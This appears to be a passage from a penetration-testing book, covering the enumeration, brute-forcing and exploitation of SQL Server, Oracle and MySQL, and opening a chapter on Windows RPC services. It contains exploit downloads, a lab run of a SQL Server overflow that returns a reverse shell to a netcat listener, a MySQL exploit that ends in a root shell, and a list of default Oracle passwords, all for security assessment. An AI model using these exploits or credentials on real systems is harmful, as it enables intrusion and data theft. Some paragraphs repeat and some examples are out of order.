- Ensure aggressive firewalling both into and out of your public servers. Most publicly available exploits use connect-back or bindshell shellcode, which allow attackers to compromise your server if it isn’t fully protected at the network level. If possible, avoid running other public network services (for example, web or mail services) on the same machine as an FTP server.
- Don’t run Telnet services on publicly accessible devices. Cisco IOS and decent appliance servers and operating platforms support SSH.
- Ensure resilience of your remote maintenance services from brute-force password-guessing attacks. Ideally, this involves setting account lockout thresholds and enforcing a good password policy.
• Don’t run r-services (rsh, rexec, or rlogin) because they are vulnerable to spoofing attacks, use very weak authentication, and are plain text.

• In secure environments, don’t use services such as VNC because they have weak authentication, and determined attackers can compromise them. You should use Microsoft RDP and Citrix ICA services over an SSL or IPsec VPN to prevent sniffing and hijacking attacks.

• Read Microsoft’s guide to hardening terminal services (http://www.microsoft.com/technet/prodtechnol/win2kts/maintain/optimize/secw2kts.mspx).

• To improve authentication and completely negate brute-force attacks, use two-factor authentication mechanisms such as Secure Computing Safeword and RSA SecurID. These solutions aren’t cheap, but they can be useful when authenticating administrative users accessing critical servers.
This chapter focuses on the remote assessment of SQL database services used in most corporate networks to facilitate rapid and effective storage and retrieval of data. If these services aren’t configured or protected correctly at both the application and network levels, they can be used to great effect to compromise networks and sensitive data.

Popular SQL database services that are often found are Microsoft SQL Server, Oracle, and MySQL, accessible through the following network ports:

- `ms-sql` 1433/tcp
- `ms-sql-ssrs` 1434/udp
- `ms-sql-hidden` 2433/tcp
- `oracle-tns` 1521/tcp
- `oracle-tns-alt` 1526/tcp, 1541/tcp
- `mysql` 3306/tcp

Here I discuss the remote enumeration, brute-force password grinding, and process manipulation attacks you can launch to gain access to these popular database services. A useful online resource for database testing and current information is http://www.databasesecurity.com, which also includes useful details relating to less popular database services, including DB2, PostgreSQL, Informix, and Sybase.

**Microsoft SQL Server**

The Microsoft SQL Server service can be found running by default on TCP port 1433. Sometimes I find that the SQL Server service is run in hidden mode, accessible via TCP port 2433 (yes, this is what Microsoft means by hidden!), or listening on high ports, and used by client software such as Symantec Backup Exec.

The SQL Server Resolution Service (SSRS) was introduced in Microsoft SQL Server 2000 to provide referral services for multiple SQL server instances running on the same machine. The service listens for requests on UDP port 1434 and returns the IP
address and port number of the SQL server instance that provides access to the requested database.

**Interacting with Microsoft SQL Server**

Microsoft SQL Server can use the following transport protocols:

- TCP/IP (TCP port 1433 or other ports, depending on configuration)
- Microsoft RPC (using numerous protocol sequences, see Chapter 10)
- Named pipes (accessible via authenticated SMB sessions, see Chapter 10)

Here I'll discuss assessment using direct TCP/IP access to the service (through port 1433) and named pipes (through ports 139 and 445), tackling brute-force password grinding and process manipulation vulnerabilities in particular.

**SQL Server Enumeration**

Two tools that can be used to perform SQL Server enumeration tasks are SQLPing and MetaCoretex, as covered here.

**SQLPing**

You can use Chip Andrews’ SQLPing Windows command-line utility to enumerate SQL Server details through the SSRS port (UDP 1434). SQLPing is available from http://examples.oreilly.com/networksa/tools/sqlping.zip.

Example 9-1 shows SQLPing in use against a SQL 2000 Server, revealing the server name, database instance name, and clustering information, along with version details and network port/named pipe information.

```
Example 9-1. Using SQLPing to query a Microsoft SQL Server

D:\SQL> sqlping 192.168.0.51
SQL-Pinging 192.168.0.51
Listening....

ServerName:dbserv
InstanceName:MSSQLSERVER
IsClustered:No
Version:8.00.194
tcp:1433
np:\dbserv\pipe\sql\query
```

Since 2002, Chip Andrews has actively updated SQLPing, and it now has a GUI along with brute force and other features. For further details, please visit http://www.sqlsecurity.com.
Interestingly, even if the SQL Server has been patched using the latest service pack and Microsoft security hotfixes, the version remains at 8.00.194 (when it is actually 8.00.762 if SP3 is installed). Therefore, the exact version number reported through the SSRS shouldn’t be trusted.

For information purposes, Table 9-1 lists SQL versions reported by Microsoft SQL, so that you can enumerate the service pack and patch level of the service.

Table 9-1. SQL Server versions and associated patch levels

<table>
<thead>
<tr>
<th>Version string</th>
<th>SQL Server version and notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>9.00.2047</td>
<td>SQL Server 2005 SP1</td>
</tr>
<tr>
<td>9.00.1399.06</td>
<td>SQL Server 2005</td>
</tr>
<tr>
<td>9.00.1314 and earlier</td>
<td>SQL Server 2005 (community previews and beta versions)</td>
</tr>
<tr>
<td>8.00.2187</td>
<td>SQL Server 2000 SP4 + hotfix 916287</td>
</tr>
<tr>
<td>8.00.2162</td>
<td>SQL Server 2000 SP4 + hotfix 904660</td>
</tr>
<tr>
<td>8.00.2151</td>
<td>SQL Server 2000 SP4 + hotfix 903742</td>
</tr>
<tr>
<td>8.00.2148</td>
<td>SQL Server 2000 SP4 + various hotfixes</td>
</tr>
<tr>
<td>8.00.2040</td>
<td>SQL Server 2000 SP4 + hotfix 899761</td>
</tr>
<tr>
<td>8.00.2039</td>
<td>SQL Server 2000 SP4</td>
</tr>
<tr>
<td>8.00.760</td>
<td>SQL Server 2000 SP3</td>
</tr>
<tr>
<td>8.00.534</td>
<td>SQL Server 2000 SP2</td>
</tr>
<tr>
<td>8.00.384</td>
<td>SQL Server 2000 SP1</td>
</tr>
<tr>
<td>8.00.194</td>
<td>SQL Server 2000</td>
</tr>
<tr>
<td>7.00.1078</td>
<td>SQL Server 7.0 SP4 + security update (Q327068)</td>
</tr>
<tr>
<td>7.00.1063</td>
<td>SQL Server 7.0 SP4</td>
</tr>
<tr>
<td>7.00.961</td>
<td>SQL Server 7.0 SP3</td>
</tr>
<tr>
<td>7.00.842</td>
<td>SQL Server 7.0 SP2</td>
</tr>
<tr>
<td>7.00.699</td>
<td>SQL Server 7.0 SP1</td>
</tr>
<tr>
<td>7.00.623</td>
<td>SQL Server 7.0</td>
</tr>
</tbody>
</table>

Further discussion of Microsoft SQL Server version numbers and querying can be found in Microsoft KB article 321185 (http://support.microsoft.com/kb/321185).

**MetaCoretex**

MetaCoretex (http://sourceforge.net/projects/metacoretex/) is a modular database vulnerability scanner written entirely in Java and effective at testing Microsoft SQL Server, Oracle, and MySQL databases. The scanner has a number of Microsoft SQL Server probes. In particular, here are some useful remote tests:
• SQL Server service pack check
• Auditing tests to determine which actions are logged
• Various dangerous stored procedures checks
• SQL Server brute force

SQL Server Brute Force

ForceSQL and sqlbf are two SQL Server brute-force utilities you can run from the Windows command line; they are available at:

http://examples.oreilly.com/networksa/tools/forcesql.zip
http://examples.oreilly.com/networksa/tools/sqlbf.zip

On the open source Unix-based side of things, the sqldict utility found within the SQL Auditing Tool (SQLAT) toolkit (http://www.cquare.net/wp/?page_id=6) can effectively launch SQL Server brute-force attacks over TCP port 1433.

The sqlbf utility is especially useful because it allows for SQL Server username and password combinations to be guessed through both the TCP/IP (port 1433) and named pipe (port 139 and 445) transports. The tool can be used as follows:

D:\sql> sqlbf

Usage: sqlbf [ODBC NetLib] [IP List] [User list] [Password List]

ODBC NetLib : T - TCP/IP, P - Named Pipes (NetBIOS)

The SQL administrator account under Microsoft SQL Server is called sa. Many SQL Server 6.0, 6.5, 7.0, and 2000 installations can be found with no password set; however, SQL Server 2003 and later don’t permit the password to remain blank. SQL Server 6.5 has a second default account named probe used for performance analysis, also with no password.

SQLAT

Patrik Karlsson wrote an excellent toolkit for easily compromising the underlying server upon gaining access to the SQL service, called SQLAT, available at http://www.cquare.net/tools.jsp?id=6.

SQLAT is highly effective and well-developed, restoring the xp_cmdshell stored procedure if it has been removed, and allowing you to upload files, dump registry keys, and access the SAM database.

SQL Server Process Manipulation Vulnerabilities

A number of serious vulnerabilities have been uncovered in Microsoft SQL Server in recent years. Table 9-2 lists remotely and locally exploitable SQL Server vulnerabilities with corresponding MITRE CVE references.
At the time of this writing, exploits for CVE-2002-1123 (“hello” overflow) and CVE-2002-0649 (0x04 leading-byte overflow) are supported within CORE IMPACT, Immunity CANVAS, and MSF.

GLEG VulnDisco doesn’t cover any Microsoft SQL Server issues at this time, but the Argeniss 0day ultimate exploits pack contains a zero-day, unpatched, DoS exploit for SQL Server 2000, along with a man-in-the-middle NTLM privilege escalation exploit.

**SQL resolution service overflow (CVE-2002-0649) demonstration**

The SQL resolution service overflow (CVE-2002-0649) can easily be exploited using the standalone *ms-sql.exe*, available along with source code from the O’Reilly archive at:

```
http://examples.oreilly.com/networksa/tools/ms-sql.exe
http://examples.oreilly.com/networksa/tools/ms-sql.cpp
```

Example 9-2 shows the *ms-sql* exploit usage. The stack overflow creates a connect-back reverse shell from the SQL server back to the user, which is useful if a half-decent firewall policy is in place blocking access to high ports on the server.

**Example 9-2. ms-sql exploit usage**

```
D:\SQL> ms-sql
===============================================================================
SQL Server UDP Buffer Overflow Remote Exploit
```
In my lab environment, I am on 192.168.189.1, attacking a server at 10.0.0.5. I use the exploit (shown in Example 9-3) to send the exploit payload, which results in the server connecting back to me on TCP port 53 with a command prompt. At the same time, I set up my Netcat listener on TCP port 53. Upon sending the overflow code to the vulnerable service, an interactive command prompt is spawned from the remote server, as shown in Example 9-4.

Example 9-3. Launching the attack through ms-sql

D:\SQL> ms-sql 10.0.0.5 192.168.189.1 53 1
Service Pack 1 or 2.
Import address entry for GetProcAddress @ 0x42ae101C
Packet sent!
If you don't have a shell it didn't work.

At the same time, I set up my Netcat listener on TCP port 53. Upon sending the overflow code to the vulnerable service, an interactive command prompt is spawned from the remote server, as shown in Example 9-4.

Example 9-4. Using Netcat to listen for the connect-back shell

D:\SQL> nc -l -p 53
listening on [any] 53 ...
connect to [192.168.189.1] from dbserv [10.0.0.5] 4870
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

Example 9-2. ms-sql exploit usage (continued)

Oracle

Here I describe user and database enumeration techniques, password grinding, and process manipulation attacks that can be launched against the Oracle database service. The Transparent Network Substrate (TNS) protocol is used by Oracle clients to connect to database instances via the TNS listener service. This service listens on TCP port 1521 by default (although it is sometimes found on ports 1526 or 1541) and acts
as a proxy between database instances and the client system. Figure 9-1 shows an example Oracle web application architecture.

Figure 9-1. Application, listener, and backend Oracle components

**TNS Listener Enumeration and Information Leak Attacks**

The listener service has its own authentication mechanism and is controlled and administered outside the Oracle database. In its default configuration, the listener service has no authentication set, which allows commands and tasks to be executed outside the database.

`tnscmd.pl` is an excellent tool you can use to interact with the TNS listener. It’s a Perl script that’s available from [http://www.jammed.com/~jwa/hacks/security/tnscmd/](http://www.jammed.com/~jwa/hacks/security/tnscmd/).

**Pinging the TNS listener**

You can use `tnscmd.pl` to issue various commands to the TNS listener service. Example 9-5 shows the default `ping` command being issued to the listener to solicit a response.

*Example 9-5. Pinging the TNS listener using tnscmd*

```bash
$ perl tnscmd.pl -h 192.168.189.45
connect writing 87 bytes [(CONNECT_DATA=(COMMAND=ping))]
,W........B,.........................A...................(CONNECT_DATA=(COMMAND=ping))
read
..."..=(DESCRIPTION=([TMP=](VSNUM=135294976)(ERR=0)(ALIAS=LISTENER))
```

The `VSNUM` is the Oracle version number in decimal, which you can convert to hex. Figure 9-2 shows that the Base Converter application determines the version as 8.1.7.

**Retrieving Oracle version and platform information**

You can issue a version command to the TNS listener using `tnscmd.pl`, as shown in Example 9-6. In this case, I learn that the server is running Oracle 8.1.7 on Solaris.
Other TNS listener commands

The `tnscmd.pl` documentation written and maintained by James W. Abendschan at http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html lists a number of TNS listener commands that can be executed remotely using the tool; they are listed in Table 9-3. This is only a summary of the tool and its use—I recommend further investigation of `tnscmd.pl` if you are interested in Oracle security.

<table>
<thead>
<tr>
<th>Command</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>ping</td>
<td>Pings the listener</td>
</tr>
<tr>
<td>version</td>
<td>Provides output of the listener version and platform information</td>
</tr>
<tr>
<td>status</td>
<td>Returns the current status and variables used by the listener</td>
</tr>
<tr>
<td>debug</td>
<td>Dumps debugging information to the listener log</td>
</tr>
<tr>
<td>reload</td>
<td>Reloads the listener config file</td>
</tr>
</tbody>
</table>

Table 9-3. Useful TNS listener commands
Retrieving the current status of the TNS listener

You can send a status command to the listener that returns a number of useful pieces of information. Example 9-7 shows this command being issued.

Example 9-7. Issuing a status command with tnscmd

```
$ perl tnscmd.pl status -h 192.168.189.46
```

The `SECURITY=OFF` setting within the information returned tells me that the TNS listener is set with no authentication and thus allows anonymous remote attackers to launch attacks with relative ease. It also retrieves `LOGFILE` details and many other variables that have been stripped for brevity.

Executing an information leak attack

An interesting vulnerability that was publicly reported by ISS X-Force in October 2000, but also found by James W. Abendschan, is that which occurs when the `cmdsize` variable of a given TNS listener command request is falsified.

In Example 9-8, I send a standard 87-byte `ping` request to the listener, but report the `cmdsize` as being 256 bytes in total. The TNS listener responds with over 380 bytes of data, containing hostname, SQL usernames, and other active session information. If I execute this same attack multiple times on a busy server, I will compromise most of the database usernames. The SQL*Net login process is handled by a child process, and so this memory leak issue doesn’t reveal passwords.

Example 9-8. User details can be harvested by providing a false `cmdsize`

```
$ perl tnscmd.pl -h 192.168.189.44 --cmdsize 256
Faking command length to 256 bytes
```

The `SECURITY=OFF` setting within the information returned tells me that the TNS listener is set with no authentication and thus allows anonymous remote attackers to launch attacks with relative ease. It also retrieves `LOGFILE` details and many other variables that have been stripped for brevity.

### Table 9-3. Useful TNS listener commands (continued)

<table>
<thead>
<tr>
<th>Command</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>services</td>
<td>Dumps service data</td>
</tr>
<tr>
<td>save_config</td>
<td>Writes the listener config file to a backup location</td>
</tr>
<tr>
<td>stop</td>
<td>Shuts down the listener</td>
</tr>
</tbody>
</table>
Several serious remote vulnerabilities are present in default TNS listener configurations (i.e., with no authentication set), as listed in Table 9-4. Many locally exploitable privilege escalation issues exist within Oracle itself (which require authenticated access through the TNS listener to a valid database); these are discussed in the following section.

Table 9-4. Remotely exploitable TNS listener vulnerabilities

<table>
<thead>
<tr>
<th>CVE name</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1364</td>
<td>23/12/2004</td>
<td>Oracle 10.1.0.2, 9.2.0.5, and 8.1.7.4 ExtProc library directory traversal bug</td>
</tr>
<tr>
<td>CVE-2004-1363</td>
<td>23/12/2004</td>
<td>Oracle 10.1.0.2, 9.2.0.5, and 8.1.7.4 ExtProc environment variable overflow</td>
</tr>
<tr>
<td>CVE-2003-0095</td>
<td>11/02/2003</td>
<td>Oracle 9.2 and 8.1.7 username overflow</td>
</tr>
<tr>
<td>CVE-2002-0965</td>
<td>12/06/2002</td>
<td>Oracle 9.0.1 SERVICE_NAME stack overflow</td>
</tr>
<tr>
<td>CVE-2002-0857</td>
<td>14/08/2002</td>
<td>Oracle 9.2 and 8.1.7 listener control utility (LSNRCTL) format string bug</td>
</tr>
<tr>
<td>CVE-2002-0567</td>
<td>06/02/2002</td>
<td>Oracle 9.0.1 and 8.1.7 ExtProc command execution vulnerability</td>
</tr>
<tr>
<td>CVE-2001-0499</td>
<td>27/06/2002</td>
<td>Oracle 8.1.7 COMMAND stack overflow</td>
</tr>
<tr>
<td>CVE-2000-0818</td>
<td>25/10/2000</td>
<td>Oracle 8.1.6 LOG_FILE command arbitrary file creation bug</td>
</tr>
</tbody>
</table>

Two useful web sites that provide current information relating to pre- and post-authentication Oracle vulnerabilities are http://www.red-database-security.com and http://www.databasesecurity.com/oracle.htm. The Red-Database-Security site has a very large number of upcoming and published advisories relating to post-authentication issues (mainly SQL injection and privilege escalation bugs).

CORE IMPACT supports CVE-2003-0095 (Oracle 9.2 and 8.1.7 username overflow) and CVE-2001-0499 (Oracle 8.1.7 TNS listener COMMAND stack overflow). Immunity CANVAS only supports 2001-0499 at this time, and MSF has no support for Oracle Database Server issues exploitable through the TNS listener.

The Argeniss ultimate 0day exploits pack for Immunity CANVAS includes a large number of Oracle Database Server exploit scripts (of which a number are zero-day
and unpatched), which result in local privilege escalation and DoS conditions in particular.

**Oracle Brute-Force and Post-Authentication Issues**

If you can communicate freely with the TNS Listener, you can attempt to connect to and authenticate with backend database instances. Oracle client utilities such as `sqlplus`, or open source equivalents such as Yet Another SQL*Plus Replacement (YASQL, available from http://sourceforge.net/projects/yasql/), can easily be fed SQL username and password combinations from a shell script or similar process. Some products, such as NGSSquirrel (http://www.nextgenss.com/products/), can do this effectively on the commercial side. Table 9-5 contains a list of default, preinstalled Oracle database users and their passwords.

**Table 9-5. Default Oracle database accounts**

<table>
<thead>
<tr>
<th>Username</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADAMS</td>
<td>WOOD</td>
</tr>
<tr>
<td>BLAKE</td>
<td>PAPER</td>
</tr>
<tr>
<td>CLARK</td>
<td>CLOTH</td>
</tr>
<tr>
<td>CTXSYS</td>
<td>CTXSYS</td>
</tr>
<tr>
<td>DBSNMP</td>
<td>DBSNMP</td>
</tr>
<tr>
<td>DEMO</td>
<td>DEMO</td>
</tr>
<tr>
<td>JONES</td>
<td>STEEL</td>
</tr>
<tr>
<td>MDSYS</td>
<td>MDSYS</td>
</tr>
<tr>
<td>MTSSYS</td>
<td>MTSSYS</td>
</tr>
<tr>
<td>ORDPLUGINS</td>
<td>ORDPLUGINS</td>
</tr>
<tr>
<td>ORDSYS</td>
<td>ORDSYS</td>
</tr>
<tr>
<td>OUTLN</td>
<td>OUTLN</td>
</tr>
<tr>
<td>SCOTT</td>
<td>TIGER</td>
</tr>
<tr>
<td>SYS</td>
<td>CHANGE_ON_INSTALL</td>
</tr>
<tr>
<td>SYSTEM</td>
<td>MANAGER</td>
</tr>
</tbody>
</table>

Phenoelit’s excellent Default Password List (DPL) contains a number of other common Oracle passwords, and is accessible at http://www.phenoelit.de/dpl/dpl.html.

If you are going to brute-force Oracle user passwords and compromise database instances, you need a decent understanding of the SQL*Plus client to navigate around the database and do anything productive.
OAT

For novices wishing to abuse default Oracle passwords to gain underlying system access, the Oracle Auditing Tools (OAT) package is available for Windows platforms at http://www.cquare.net/tools.jsp?id=7.

In particular, the OAT toolkit contains simple scripts you can use to execute commands, upload and download files via TFTP, and dump the SAM database of Windows-based Oracle servers.

MetaCoretex

As mentioned earlier in this chapter, MetaCoretex (http://sourceforge.net/projects/metacoretex/) is a Java database vulnerability scanner. In particular, the scanner has a number of pre- and post-authentication Oracle probes. In particular, some useful remote tests are:

- TCP bounce port scanning through the Oracle database using UTL_TCP
- Oracle database SID enumeration
- TNS security settings and status

Post-authentication Oracle database vulnerabilities and exploits

Upon authenticating with a valid database SID through the TNS listener, there are many local privilege escalation and overflow issues within Oracle. A handful of recent locally exploitable bugs, as listed in MITRE CVE, are given in Table 9-6. Many issues in the CVE list have insufficient information (as Oracle released patches without providing adequate details), and so it is difficult to put together a meaningful list of bugs. I have assembled this list by cross-referencing the Oracle exploit scripts available through milw0rm (http://www.milw0rm.com) with ISS X-Force (http://xforce.iss.net), MITRE CVE (http://cve.mitre.org), and the Oracle security center (http://www.oracle.com/technology/deploy/security/index.html).

Table 9-6. Post-authentication Oracle database vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Notes</th>
<th>Fixed in CPU</th>
<th>Milw0rm exploit(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1442</td>
<td>Oracle 10.2.0.2 NULL pDacl parameter privilege escalation vulnerability</td>
<td>04/2007</td>
<td>3451</td>
</tr>
<tr>
<td>CVE-2006-5335</td>
<td>Oracle 10.2.0.2 BUMP_SEQUENCE SQL injection bug</td>
<td>10/2006</td>
<td>3177</td>
</tr>
<tr>
<td>CVE-2006-3702</td>
<td>Oracle 10.2.0.2 and 9.2.0.7 DBMS_EXPORT_EXTENSION SQL injection bug</td>
<td>07/2006</td>
<td>3269</td>
</tr>
<tr>
<td>CVE-2006-3698</td>
<td>Oracle 10.1.0.5 KIPWSWORKER.MAIN SQL injection vulnerability</td>
<td>07/2006</td>
<td>3375 and 3358</td>
</tr>
<tr>
<td>CVE-2006-2505</td>
<td>Oracle 10.2.0.2, 9.2.07, and 8.1.7.4 DBMS_EXPORT_EXTENSION local command execution bug</td>
<td>07/2006</td>
<td>1719</td>
</tr>
</tbody>
</table>
The *milw0rm* exploits listed in Table 9-6 are available from the site using a URL such as http://www.milw0rm.com/exploits/932, and they are zipped and available from the O’Reilly tools archive at http://examples.oreilly.com/networksa/tools/milw0rm_oracle.zip. Oracle Critical Patch Update (CPU) details are available from the Oracle security center at http://www.oracle.com/technology/deploy/security/alerts.htm.


## Oracle XDB Services

If the Oracle XDB FTP and HTTP services are accessible on TCP ports 2100 and 8080, respectively, CORE IMPACT and MSF can be used to launch attacks against the services, resulting in arbitrary command execution. The issue is listed in CVE as CVE-2003-0727, and the relevant MSF modules are:

MySQL

MySQL is commonly found running on TCP port 3306 on Linux and FreeBSD servers. The database is relatively straightforward to administer, with a much simpler access model than the heavyweight, but more scalable Oracle.

MySQL Enumeration

The version of the target MySQL database can be easily gleaned simply by using Netcat or Telnet to connect to port 3306 and analyzing the string received, as shown here:

```
$ telnet 10.0.0.8 3306
Trying 10.0.0.8...
Connected to 10.0.0.8.
Escape character is '^]'.
3.23.52D~n.71,G,
Connection closed by foreign host.
```

The version of MySQL in this case is 3.23.52. If the server has been configured with a strict list of client systems defined, you will see a response like this:

```
$ telnet db.example.org 3306
Trying 192.168.189.14...
Connected to db.example.org.
Escape character is '^]'.
PHost 'cyberforce.segfault.net' is not allowed to connect to this MySQL server
Connection closed by foreign host.
```

MySQL Brute Force

By default, the MySQL database accepts user logins as root with no password. A simple Unix-based utility called `finger_mysql` is useful for testing network blocks for MySQL instances that accept a blank root password, available in source form at [http://www.securiteam.com/tools/6Y00L0USPC.html](http://www.securiteam.com/tools/6Y00L0USPC.html).

When the tool compromises the database, it lists the users and their password hashes from the `mysql.user` table. There are a number of tools in the Packet Storm archive that can be used to crack these encrypted passwords.

If a blank root password doesn’t provide access, the THC Hydra utility can be used to launch a parallel MySQL brute-force attack.

By performing brute-force password grinding and assessment of the underlying database configuration and features, MetaCoretex can also assess MySQL instances efficiently.
MySQL Process Manipulation Vulnerabilities

At the time of this writing, MITRE CVE (http://cve.mitre.org) lists a number of serious, remotely exploitable vulnerabilities in MySQL (i.e., not authenticated or denial-of-service issues), as shown in Table 9-7.

Table 9-7. Remotely exploitable MySQL vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4226</td>
<td>17/08/2006</td>
<td>MySQL 5.1.11, 5.0.24, and 4.1.20 post-authentication database access issue relating to case-sensitive filesystems</td>
</tr>
<tr>
<td>CVE-2006-2753</td>
<td>31/05/2006</td>
<td>MySQL 5.0.21 and 4.1.19 post-authentication SQL injection through multibyte encoded escape characters</td>
</tr>
<tr>
<td>CVE-2006-1518</td>
<td>03/05/2006</td>
<td>MySQL 5.0.20 post-authentication COM_TABLE_DUMP request overflow</td>
</tr>
<tr>
<td>CVE-2006-1517</td>
<td>03/05/2006</td>
<td>MySQL 5.0.20, 4.1.18, and 4.0.26 post-authentication information leak via COM_TABLE_DUMP request</td>
</tr>
<tr>
<td>CVE-2006-1516</td>
<td>03/05/2006</td>
<td>MySQL 5.0.20, 4.1.18, and 4.0.26 information leak via malformed username</td>
</tr>
<tr>
<td>CVE-2005-2558</td>
<td>08/08/2005</td>
<td>MySQL 5.0.7-beta and 4.1.13 post-authentication init Symposiums( ) overflow</td>
</tr>
<tr>
<td>CVE-2005-0709 and CVE-2004-0710</td>
<td>11/03/2005</td>
<td>MySQL 4.1.10 post-authentication library access issues, resulting in arbitrary code execution</td>
</tr>
<tr>
<td>CVE-2004-0836</td>
<td>20/08/2004</td>
<td>MySQL 4.0.20 mysql_real_connect( ) overflow using a malicious DNS server</td>
</tr>
<tr>
<td>CVE-2004-0627 and CVE-2004-0628</td>
<td>01/07/2004</td>
<td>MySQL 4.1.2 zero-length scrambled string authentication bypass and overflow</td>
</tr>
<tr>
<td>CVE-2003-0780</td>
<td>10/09/2003</td>
<td>MySQL 4.0.15 post-authentication privilege escalation bypass</td>
</tr>
<tr>
<td>CVE-2002-1374 and CVE-2002-1375</td>
<td>12/12/2002</td>
<td>MySQL 4.0.5a COM_CHANGE_USER password overflow and authentication bypass</td>
</tr>
<tr>
<td>CVE-2001-1453</td>
<td>09/02/2001</td>
<td>MySQL 3.22.33 crafted client hostname overflow</td>
</tr>
<tr>
<td>CVE-2000-0148</td>
<td>08/02/2000</td>
<td>MySQL 3.22.32 unauthenticated remote access vulnerability</td>
</tr>
</tbody>
</table>

MySQL exploit scripts


Example 9-9 shows the exploit script in use against a vulnerable MySQL server, providing root access to the operating system. For exploit usage and options, simply run the tool with no arguments.

Example 9-9. Using the CVE-2003-0780 exploit against MySQL.

$ ./mysql -d 10.0.0.8 -p "" -t 1

[+] Connecting to mysql server 10.0.0.8:3306....ok
[+] ALTER user column...ok
[+] Select a valid user...ok
[+] Found a user:test
[+] Password length:480
[+] Modified password...ok
[+] Finding client socket.......ok
[+] socketfd:3
[+] Overflow server....ok
[+] sending OOB.......ok
[+] Waiting a shell.....
bash-2.05#

Exploitation framework support for MySQL. At the time of this writing, MSF supports none of these MySQL issues. CORE IMPACT supports CVE-2005-0709 (MySQL 4.1.10 post-authentication arbitrary code execution), CVE-2003-0780 (MySQL 4.0.15 post-authentication privilege escalation), and CVE-2002-1374 (MySQL 4.0.5a COM_CHANGE_USER overflow).

Immunity CANVAS supports CVE-2004-0627 (MySQL 4.1.2 authentication bypass) at this time, and in terms of add-on exploit packs, GLEG VulnDisco has a number of zero-day post-authentication exploit and DoS modules for MySQL 5.x and 4.1.x, and Argeniss 0day ultimate exploits pack has a number of DoS modules for MySQL 5.x.

MySQL UDF library injection. In Chris Anley’s “Hackproofing MySQL” paper at http://www.ngssoftware.com/papers/HackproofingMySQL.pdf, he discusses using User Defined Function (UDF) support to load a custom-written dynamic library and in turn, to execute arbitrary commands on the underlying operating platform. The exploit and discussion text are available from the following locations:

http://www.securiteam.com/exploits/6G00P1PC0U.html
http://www.0xdeadbeef.info/exploits/raptor_udf.c
Database Services Countermeasures

The following countermeasures should be considered when hardening database services:

• Ensure that database user passwords (sa and probe accounts found in Microsoft SQL Server, root under MySQL, etc.) are adequately strong.

• Filter and control public Internet-based access to database service ports to prevent determined attackers from launching brute-force password-grinding attacks in particular. In the case of Oracle with the TNS Listener, this point is extremely important.

• Don’t run publicly accessible remote maintenance services on database servers; you will thus deter Oracle TNS Listener user .rhosts file creation and other types of grappling-hook attacks. If possible, use two-factor authentication for remote access from specific staging hosts, or SSH with public keys.

• There are so many outstanding and zero-day weaknesses in Oracle that it is imperative that your Oracle database services be patched as soon as CPU packages are available. Oracle databases should also be hardened to prevent access to unnecessary stored procedures and features. Oracle database server is so feature-rich that it is problematic to secure without a deep understanding.

• If SQL services are accessible from the Internet or other untrusted networks, ensure they are patched with the latest service packs and security hotfixes to ensure resilience from buffer overflows and other types of remote attacks.
This chapter focuses on Microsoft RPC, NetBIOS, and CIFS services that are used in large internal networks to support file sharing, printing, and other functions. If these services aren’t configured or protected properly by network filtering devices, they can be used to great effect to enumerate system details and cause a complete network compromise.

### Microsoft Windows Networking Services

Microsoft Windows networking services use the following ports:

- `loc-srv` 135/tcp
- `loc-srv` 135/udp
- `netbios-ns` 137/udp
- `netbios-dgm` 138/udp
- `netbios-ssn` 139/tcp
- `microsoft-ds` 445/tcp
- `microsoft-ds` 445/udp

Port 135 is used for RPC client-server communication, and ports 139 and 445 are used for authentication and file sharing. UDP ports 137 and 138 are used for local NetBIOS browser, naming, and lookup functions.

### SMB, CIFS, and NetBIOS

The Server Message Block (SMB) protocol facilitates resource sharing in Microsoft Windows environments. Under Windows NT, SMB is run through NetBIOS over TCP/IP, using UDP ports 137 and 138 and TCP port 139. Windows 2000 and later support Common Internet File System (CIFS), which provides full SMB access directly through TCP and UDP port 445 (as opposed to using a variety of UDP and TCP ports). Many system administrators diligently filter access to ports between 135 and 139, but have been known to neglect port 445 when protecting Windows 2000, XP, 2003, and Vista hosts.
Microsoft RPC Services

The Microsoft RPC endpoint mapper (also known as the DCE locator service) listens on both TCP and UDP port 135, and works much like the Sun RPC portmapper service found in Unix environments. Examples of Microsoft applications and services that use port 135 for endpoint mapping include Outlook, Exchange, and the Messenger Service.

Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135 via SMB with a null or authenticated session (through TCP ports 139 and 445), and as a web service listening on TCP port 593. For more information, see Todd Sabin’s presentation titled “Windows 2000, NULL Sessions and MSRPC.” Look for it at http://www.bindview.com/Services/RAZOR/Resources/nullsess.ppt.

Assessment of RPC services includes the following:

- Enumerating accessible RPC server interfaces and information gathering
- Identifying vulnerable RPC server interfaces and components
- Gleaning user and system details through LSA service interfaces (including SAMR and LSARPC)
- Brute-forcing user passwords through the DCOM WMI subsystem
- Executing commands through the Task Scheduler service
- Starting services through the Server service

Following is a breakdown of these tasks, along with details of respective tools and techniques.

Enumerating Accessible RPC Server Interfaces

Through the RPC endpoint mapper, you can enumerate IP addresses of network interfaces (which will sometimes reveal internal network information), along with details of RPC services using dynamic high ports. The following tools can mine information from the endpoint mapper:

- epdump (http://www.packetstormsecurity.org/NT/audit/epdump.zip)
- rpctools (http://www.bindview.com/Services/RAZOR/Utilities/Windows/rpctools1.0-readme.cfm)
- RpcScan (http://www.securityfriday.com/tools/RpcScan.html)
epdump

epdump is a Microsoft command-line utility found in the Microsoft Windows Resource Kit. Example 10-1 uses epdump to query the RPC endpoint mapper running on 192.168.189.1 (through TCP port 135).

Example 10-1. Using epdump to enumerate RPC interfaces

C:\> epdump 192.168.189.1
binding is 'ncacn_ip_tcp:192.168.189.1'
int 5a7b9f18-ff00-11d0-a9b2-00c04fb666fc v1.0
  binding 00000000-000000000000@ncadg_ip_udp:192.168.0.1[1028]
  annot 'Messenger Service'
